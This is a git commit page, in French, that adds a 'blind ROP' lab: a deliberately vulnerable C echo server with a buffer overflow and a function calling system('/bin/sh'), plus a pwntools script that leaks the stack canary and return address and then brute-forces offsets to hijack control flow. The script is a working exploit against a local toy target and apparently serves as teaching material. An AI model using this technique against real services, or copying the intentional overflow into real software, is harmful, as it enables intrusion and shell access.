Browse Source

Attaque blind ROP

Yohan Simard 3 years ago
parent
commit
83ace6d5af
3 changed files with 132 additions and 0 deletions
  1. 26
    0
      attaque_brop/README.md
  2. 68
    0
      attaque_brop/attaque.py
  3. 38
    0
      attaque_brop/echo.c

+ 26
- 0
attaque_brop/README.md View File

@@ -0,0 +1,26 @@
1
+# Attaque "blind ROP"
2
+## Instructions
3
+### Compilation du programme vulnérable :
4
+`gcc echo.c -o echo`
5
+
6
+### Installation du module python pwn
7
+`pip install pwn`
8
+
9
+### Lancement du programme vulnérable en le liant à un port tcp
10
+`socat -v tcp-l:31337,fork exec:'./echo'`
11
+
12
+### Attaque
13
+`python3 attaque.py`
14
+
15
+On peut ajouter `DEBUG` en paramètre pour voir les données envoyées
16
+et reçues.
17
+
18
+## Résultats
19
+On peut exécuter la fonction C `brop()` en écrasant l'adresse
20
+de retour par son adresse. Pour cela, on récupère d'abord le canary,
21
+puis la véritable adresse de retour. On peut ensuite écraser le 
22
+canary et rbp par leur valeur, puis l'addresse de retour par sa 
23
+valeur + un offset, et ce jusqu'à trouver `brop()`.
24
+On voit qu'on arrive à exécuter des instructions qui appartiennent 
25
+à `brop()`, car on voit le print "brop".
26
+

+ 68
- 0
attaque_brop/attaque.py View File

@@ -0,0 +1,68 @@
1
+from pwn import *
2
+
3
+p = connect("127.0.0.1", 31337)
4
+
5
+p.send(b'h')
6
+time.sleep(0.2)
7
+first_recv = p.recv(numb=10000, timeout=1)
8
+print(first_recv)
9
+
10
+payload = b"A" * 4
11
+
12
+# Leak the canary
13
+p.send(payload + b'\x01')
14
+time.sleep(0.2)
15
+leak = p.recv().strip(payload)
16
+print("leak   = " + leak.hex(' '))
17
+
18
+# Extract canary from the leak
19
+stack_canary = b'\x00' + leak[1:8]
20
+print("canary = " + stack_canary.hex(' '))
21
+
22
+# overwrite it with the same value to check that it is correct
23
+p.send(payload + stack_canary)
24
+time.sleep(0.2)
25
+received = p.recv()
26
+
27
+if received != payload:
28
+    print("[!] Failed to leak stack canary")
29
+    exit(1)
30
+
31
+print(f"[+] Stack canary is 0x{stack_canary.hex()}")
32
+
33
+# Guess the program base address
34
+
35
+# First address
36
+
37
+p.send(payload + b"A" * 8)
38
+time.sleep(0.2)
39
+leak = p.recv().strip(b"A").strip(b"You broke the internet!\n")
40
+print(len(leak))
41
+rbp = leak + b"\x00" * (8 - len(leak))
42
+print(hex(int.from_bytes(rbp, "little", signed=False)))
43
+
44
+# Second address
45
+
46
+p.send(payload + b"A" * 16)
47
+time.sleep(0.2)
48
+leak = p.recv().strip(b"A").strip(b"You broke the internet!\n")
49
+print(len(leak))
50
+if len(leak) == 5:
51
+    retAddress = b"\x00" + leak + b"\x00" * (7 - len(leak))
52
+else:
53
+    retAddress = leak + b"\x00" * (8 - len(leak))
54
+print(hex(int.from_bytes(retAddress, "little", signed=False)))
55
+
56
+# iterator = iter(range(0x1000))
57
+for offset in range(70, 150):
58
+    testedAddr = (int.from_bytes(retAddress, "little") - offset).to_bytes(8, "little")
59
+    print(f"----- testing address {hex(int.from_bytes(testedAddr, 'little', signed=False))} ------")
60
+    p.send(payload + stack_canary + rbp + testedAddr)  # + b"A" * 128)
61
+    time.sleep(0.2)
62
+    received = p.recv(timeout=0.5)
63
+    print(received)
64
+    if received.find(b"brop") != -1:
65
+        print("#######################")
66
+#
67
+# 7ffe388f02c0
68
+# 55f8236e12aa

+ 38
- 0
attaque_brop/echo.c View File

@@ -0,0 +1,38 @@
1
+#include <stdio.h>
2
+#include <unistd.h>
3
+#include <sys/wait.h>
4
+#include <stdlib.h>
5
+
6
+int echo_service(){
7
+	char x[4];
8
+	read(0, x, 50);
9
+	printf("%s", x);
10
+	fflush(stdout);
11
+	return 0;
12
+}
13
+
14
+void brop() {
15
+    system("/bin/sh");
16
+    printf("brop");
17
+    fflush(stdout);
18
+}
19
+
20
+int main(void) {
21
+    printf("%p\n", &main);
22
+    printf("%p\n", &brop);
23
+    printf("%lu\n", (unsigned long)&main - (unsigned long)&brop);
24
+    fflush(stdout);
25
+	while(1) {
26
+		if (fork() == 0) {
27
+			echo_service();
28
+			return 0;
29
+		}
30
+		int status;
31
+		wait(&status);
32
+		if (status != 0) {
33
+			puts("You broke the internet!");
34
+			fflush(stdout);
35
+		}
36
+	}
37
+	return 0;
38
+}

Loading…
Cancel
Save